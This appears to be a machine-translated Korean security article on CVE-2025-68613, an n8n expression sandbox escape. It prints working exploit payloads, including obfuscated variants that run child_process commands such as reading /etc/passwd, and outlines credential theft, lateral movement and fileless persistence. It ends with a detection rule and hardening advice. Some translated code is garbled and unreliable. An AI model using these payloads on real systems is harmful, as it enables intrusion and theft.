2025년 보안 환경이 마무리되면 다음과 같은 정보가 공개됩니다. CVE-2025-68613 (CVSS 10.0)이 업계에 강력한 무기로 등장했습니다. 세계에서 가장 인기 있는 오픈 소스 워크플로우 자동화 도구로서, n8n 는 수많은 기업의 핵심 비즈니스 로직을 뒷받침합니다. 하지만 인증되지 않은(또는 권한이 낮은) 공격자가 임의의 코드를 실행할 수 있는 이 취약점은 최신 '로우코드/노코드' 플랫폼의 구조적 아킬레스건을 고스란히 드러냈습니다.
선임 보안 엔지니어와 레드팀 연구원들에게 CVE-2025-68613은 단순한 "유효성 검사 실패" 그 이상입니다. 이는 다음과 같은 취약점을 결합하여 악용한 교과서적인 사례 연구입니다. Node.js 동적 런타임, 개체 기능 모델 실패및 프로토타입 오염.
이 글에서는 피상적인 취약점 보고를 버리고 V8 엔진 내부를 자세히 살펴보고, 샌드박스 탈출의 모든 바이트를 분석하며, 엔터프라이즈 블루팀을 위한 포괄적인 탐지 및 방어 핸드북을 제공합니다.

공격 표면 해체
n8n의 핵심 가치 제안은 "연결성"입니다. 수천 개의 통합 노드를 통해 데이터베이스, SaaS 서비스, 내부 API를 연결합니다. 동적 데이터 처리를 가능하게 하기 위해 n8n은 사용자가 노드 내에 JavaScript 표현식을 포함할 수 있으며, 일반적으로 {{ }} 구문.
CVE-2025-68613이 발생하기 전에 n8n은 네이티브 Node.js에 의존했습니다. vm 모듈을 사용하여 이 사용자 제공 코드를 격리합니다.
왜 Node.js인가? vm?
Node.js vm 모듈을 사용하면 V8 가상 머신 컨텍스트 내에서 코드를 컴파일하고 실행할 수 있습니다. 이 모듈은 격리된 전역 객체(컨텍스트화된 샌드박스)를 제공합니다.
- 이상적입니다: 코드가 샌드박스 외부의 변수에 액세스할 수 없습니다.
- 현실: 그리고
vm모듈은 보안 커뮤니티에서 "디자인에 의한 고장.”
공격 표면 분석:
- 진입 지점: 표현식 입력을 수락하는 모든 노드(예
설정,기능,HTTP 요청노드). - 실행 흐름: 사용자 입력 -> 문자열 구문 분석 ->
vm.runInNewContext()-> 실행. - 결함: 샌드박스 내부의 객체가 외부 객체를 참조하는 한(예: 호스트 환경 변수 전달을 통해
이컨텍스트), 공격자는 자바스크립트의 프로토타입 체인 클라이밍 메커니즘을 통해 샌드박스에서 벗어날 수 있습니다.
기술 심층 분석 - 프로토타입 체인에서 RCE까지
CVE-2025-68613의 익스플로잇 로직을 이해하려면 다음을 파악해야 합니다. 생성자 속성입니다.
자바스크립트의 거의 모든 객체에는 생성자 프로퍼티를 생성한 함수를 가리키는 프로퍼티입니다.
({}).생성자===개체Object.생성자===기능
핵심 탈출 로직: 이.생성자.생성자
n8n의 제한된 환경에서는 공격자가 직접 다음을 호출할 수 없습니다. require('child_process'). 그러나 공격자는 현재 실행 컨텍스트를 가지고 있습니다: 이.
- 홉 1:
이는 샌드박스 내부의 컨텍스트 객체입니다. - 홉 2:
this.constructor는개체생성자를 생성합니다. - 홉 3 (중요):
이.생성자.생성자는 호스트의기능생성자.
이것이 샌드박스를 위반하는 이유는 무엇인가요? V8 엔진은 컨텍스트 간 객체 상호 작용을 처리할 때 루트 객체가 외부에서 시작된 경우 생성자 체인을 외부 정의로 해결하기 때문입니다.
공격자가 호스트의 기능 생성자에서 실행되는 익명 함수를 동적으로 생성할 수 있습니다. 호스트 컨텍스트. 이 익명 함수는 샌드박스 제한에 구속되지 않으며 글로벌 프로세스 객체입니다.
전체 익스플로잇 프리미티브
공격자가 구성한 페이로드는 단순한 문자열이 아니라 Node.js 모듈 로딩 시스템을 재구성하도록 설계된 정밀한 JavaScript 코드입니다.
자바스크립트
`// 1단계: 호스트 환경의 함수 생성자 생성자 const ForeignFunction = this.constructor.constructor;
// 2단계: '프로세스' 객체를 반환하는 함수를 동적으로 생성 // 이 코드는 샌드박스를 우회하여 호스트 컨텍스트에서 실행됩니다. const getProcess = ForeignFunction('return process');
// 3단계: 함수를 실행하여 프로세스 핸들을 가져옵니다 const proc = getProcess();
// 4단계: 'require' 핸들을 가져오기 위해 mainMule에 액세스 const require = proc.mainMule.require;
// 5단계: 'child_process'를 로드하고 시스템 명령 실행 const result = require('child_process').execSync('id').toString();`
n8n에서 {{ }} 표현식을 사용하면 이 로직이 한 줄로 압축됩니다.
전투 및 난독화-정적 필터 우회하기
CVE-2025-68613에 대한 초기 방어 시도에서 일부 임시 패치는 프로세스, 생성자 또는 정규식 사용 요구와 같은 키워드를 필터링하려고 시도했습니다.
하지만 자바스크립트와 같이 매우 동적인 언어의 경우 정적 필터링은 무용지물입니다.
난독화 변형 A: 문자열 연결 및 인코딩
공격자는 자바스크립트의 유연성을 이용해 키워드를 분할하거나 인코딩하여 서명 탐지를 우회합니다.
자바스크립트
{{ // "생성자" 감지 우회 this['con'+'structor']['con'+'structor']( // "반환 프로세스" 감지 우회 'return p'+'rocess' )() .mainModule.require('ch'+'ild_pr'+'ocess') .execSync('cat /etc/passwd') }}
난독화 변형 B: 리플렉트 및 프록시
지능형 공격자는 Reflect.get 를 사용하여 프로퍼티에 동적으로 액세스하기 때문에 AST(추상 구문 트리) 분석으로 호출 체인을 추적하기가 어렵습니다.
자바스크립트
{{ // Reflect를 사용하여 생성자 키를 동적으로 찾기 const c = Reflect.get(this, Reflect.ownKeys(this).find(k => k.toString() === '생성자')); // 실행을 진행합니다... }}
이는 단순한 정규식 일치로는 CVE-2025-68613을 수정할 수 없으며, 근본적인 문제를 해결해야 한다는 것을 보여줍니다. 오브젝트 기능 제약 조건.
익스플로잇 이후 - n8n이 완벽한 해변가인 이유
n8n 서버를 손상시키는 것(셸을 얻는 것)은 시작에 불과합니다. APT(지능형 지속 위협) 킬 체인에서 n8n은 고유한 전략적 가치를 지니고 있습니다.
자격 증명 수집
n8n 데이터베이스(일반적으로 SQLite 또는 PostgreSQL)는 연결된 모든 서비스에 대한 자격 증명을 저장합니다. 암호화된 상태에서 RCE를 가진 공격자는 암호화 키(일반적으로 환경 변수 또는 구성 파일에 있음)를 읽고 암호를 해독할 수 있습니다:
- AWS IAM 사용자 키
- Stripe / PayPal API 키
- 기업 데이터베이스 연결 문자열
- 슬랙/디스코드 봇 토큰
측면 이동
n8n 서버는 일반적으로 인트라넷 깊숙한 곳에 배포되며 다양한 내부 API에 액세스할 수 있도록 허용됩니다. 공격자는 n8n을 사용하여 SOCKS 프록시를 사용하거나 기존 HTTP 요청 노드를 직접 수정하여 다른 내부 서비스(예: Jenkins, GitLab)로 프로브 요청을 전송하여 내부 자산을 효과적으로 스캔할 수 있습니다.
지속성
기존의 멀웨어 바이너리는 EDR 솔루션으로 검사합니다. 하지만 공격자가 n8n에서 5분마다 실행되는 "Cron" 워크플로우를 생성하고 악성 JavaScript를 실행하는 경우, 이 백도어는 다음과 같습니다. 파일리스. 정상적인 비즈니스 로직과 완전히 혼합되어 탐지하기가 매우 어렵습니다.
블루팀 핸드북-탐지 및 방어
엔터프라이즈 보안 팀(블루 팀)의 경우 CVE-2025-68613에 대응하려면 공식 패치를 적용하는 것 이상의 조치가 필요합니다.
트래픽 시그니처 탐지(SIEM/IDS)
다음을 포함하는 HTTP 요청 본문 모니터링 {{ 다음과 같은 키워드도 포함됩니다. 생성자, 프로세스, exec또는 스폰.
YARA 규칙 예시:
규칙 DETECT_N8N_RCE_ATTEMPT { meta: description = "n8n(CVE-2025-68613)을 대상으로 하는 표현식 인젝션 시도를 탐지합니다" 심각도 = "심각" 문자열: $expr_start = "{{" $keyword1 = "constructor" $keyword2 = "process.mainModule" $keyword3 = "child_process" $keyword4 = "String.fromCharCode" 조건: $expr_start 및 ($keyword*의 2)) }
로그 감사
비정상적인 n8n 실행 로그 감사 오류 메시지, 특히 다음을 포함하는 레코드 전역 변수에 대한 액세스가 거부되었습니다. 또는 참조 오류: 프로세스가 정의되지 않았습니다.. 이는 종종 공격자가 샌드박스 경계를 탐색하고 있음을 나타냅니다.
아키텍처 강화
- 도커 격리: 다음을 사용하여 n8n 컨테이너를 실행합니다.
-cap-drop=ALL를 클릭해 불필요한 Linux 기능을 모두 제거하세요. - 이그레스 트래픽 제어: 네트워크 정책을 구성하여 n8n 컨테이너가 화이트리스트에 없는 공용 IP에 대한 연결을 시작하지 못하도록 하여 리버스 셸이 C2 서버에 연결하는 것을 차단합니다.
결론 로우코드 보안의 전환점
CVE-2025-68613은 로우코드/노코드 플랫폼의 보안 역사에서 전환점이 될 것입니다. 다음과 같은 사실을 상기시켜 줍니다. 유연성과 보안은 종종 제로섬 게임입니다..
일반 사용자에게 자바스크립트 표현식과 같은 프로그래밍 언어의 모든 권한을 부여하면 공격자를 런타임 환경으로 효과적으로 초대하는 것과 같습니다. 미래의 보안 방어는 더 이상 취약한 애플리케이션 수준의 샌드박스에 의존할 수 없으며 다음과 같은 방향으로 전환해야 합니다. 설계를 통한 보안 아키텍처를 사용하여 사용자 코드 실행을 메모리에서 안전하게 격리할 수 있습니다(예: 웹어셈블리(Wasm) 사용).

